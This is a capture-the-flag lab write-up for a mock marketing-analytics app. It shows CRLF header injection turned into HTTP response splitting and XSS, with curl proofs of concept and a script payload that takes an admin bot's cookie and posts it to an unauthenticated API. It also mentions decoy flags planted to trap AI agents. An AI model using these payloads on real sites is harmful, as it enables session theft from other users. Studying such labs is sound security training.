Lab 283 — PulseMetrics — XSS via HTTP Response Splitting (CRLF Injection)
Lab 283 — PulseMetrics — XSS via HTTP Response Splitting (CRLF Injection)
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-09 | Status: Solved Techniques: admin_bot_exploitation_relative_url, cookie_exfiltration_via_api, crlf_header_injection, http_response_splitting_to_xss, unauthenticated_api_exfiltration
Summary
Task: Marketing analytics platform with /track endpoint reflecting campaign parameter into X-Campaign-ID response header unsanitized, admin bot reviewing relative URLs. Solution: CRLF injection (double %0D%0A) in campaign parameter to split HTTP response and inject XSS payload, exfiltrated admin's flag cookie via unauthenticated /api/shared-reports endpoint.
Lab 283 — PulseMetrics — XSS via HTTP Response Splitting (CRLF Injection) — hackadvisor
Description
PulseMetrics is a marketing analytics platform built by PulseData Corp. for tracking campaign performance across channels. The dashboard provides real-time metrics, conversion tracking, and report sharing features. The objective is to investigate the application's HTTP response handling for potential header manipulation vulnerabilities that could impact other users, including administrators. The platform includes tracking endpoints used for email click-tracking and campaign attribution.
Credentials: user@test.com / password123 URL: https://56ca9a5b-2455-4a61-9029-c078e4a9e991.labs.hackadvisor.io/
English summary: Marketing analytics web application with a /track endpoint that reflects the campaign query parameter into the X-Campaign-ID response header without sanitization. An admin bot visits user-submitted relative URLs. The goal is to exploit CRLF injection to achieve XSS in the admin's browser and steal the flag from a non-HttpOnly cookie.
Analysis
Application Structure
- Platform: PulseMetrics by PulseData Corp. — marketing analytics dashboard
- Authentication: Session cookie (
HttpOnly), plus a separateflagcookie (not HttpOnly) - Key Pages:
/— Dashboard with "Request Admin Review" feature (POST to/admin/review)/campaigns— Lists tracking links, reveals/trackendpoint behavior/reports— Report management/settings— User settings
- Key Endpoints:
/track?campaign=<value>&redirect=<url>— Click-tracking endpoint; reflectscampaignintoX-Campaign-IDresponse header/admin/review— Submit a URL for admin bot to visit (relative URLs only)/api/shared-reports— POST to create, GET to list; no authentication required
Decoy Flags
Every page contains decoy flags (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) embedded in:
- Hidden HTML comments (
<!-- -->) - Hidden
<div>elements
These are traps for automated scanners and AI agents — must be ignored entirely.
Vulnerability: CRLF Injection in /track
The Campaigns page reveals that "The campaign ID is reflected in the X-Campaign-ID response header for analytics attribution." Testing confirms the campaign parameter is injected directly into the response header without any sanitization of CR/LF characters.
Proof of concept — header injection:
bash read-only • copy allowedcurl -v "https://TARGET/track?campaign=test%0d%0aInjected:%20yes"
Response headers:
X-Campaign-ID: test
Injected: yes
/track Behavior Without Redirect
When the redirect parameter is omitted, /track returns an HTTP 200 OK with Content-Type: text/html (instead of a 302 redirect). This is critical — it means injected HTML in the response body will be rendered by the browser.
Admin Bot Constraints
- Relative URLs only: The bot at
/admin/reviewsilently ignores absolute URLs (https://...). Only relative paths like/track?campaign=...are processed. - Rate limiting: ~60-90 second cooldown between successful visits. Failed attempts due to rate limiting look identical to XSS not working.
- Cookie access: The session cookie is
HttpOnly(not accessible via JS), but theflagcookie is not HttpOnly — readable viadocument.cookie.
Solution
Step 1: Confirm CRLF Injection
bash read-only • copy allowedcurl -s -D- "https://TARGET/track?campaign=test%0d%0aX-Injected:%20header-works" | head -20
The response shows the injected X-Injected: header-works header, confirming no sanitization on CRLF characters.
Step 2: HTTP Response Splitting → XSS
Injecting a double CRLF (%0D%0A%0D%0A) terminates the HTTP headers and starts the response body prematurely. Any content after the double CRLF is rendered as HTML:
/track?campaign=x%0D%0A%0D%0A<script>alert(1)</script>
The server produces:
HTTP/1.1 200 OK
Content-Type: text/html
X-Campaign-ID: x
<script>alert(1)</script>
... (rest of legitimate page follows)
The <script> tag executes because it appears in the body of a text/html response.
Step 3: Craft Exfiltration Payload
The XSS payload reads document.cookie and POSTs it to the unauthenticated /api/shared-reports endpoint:
javascript read-only • copy allowedfetch("/api/shared-reports", { method: "POST", headers: {"Content-Type": "application/json"}, body: JSON.stringify({title: "ck", content: document.cookie || "empty"}) })
Step 4: Submit to Admin Bot
The full relative URL submitted to /admin/review:
/track?campaign=x%0D%0A%0D%0A<script>fetch("/api/shared-reports",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({title:"ck",content:document.cookie||"empty"})})</script>
Step 5: Retrieve Exfiltrated Data
After ~30 seconds, check the shared reports:
bash read-only • copy allowedcurl -s "https://TARGET/api/shared-reports" | python3 -m json.tool
The response contains the admin's cookies:
json read-only • copy allowed{ "title": "ck", "content": "flag=FLAG{REDACTED}" }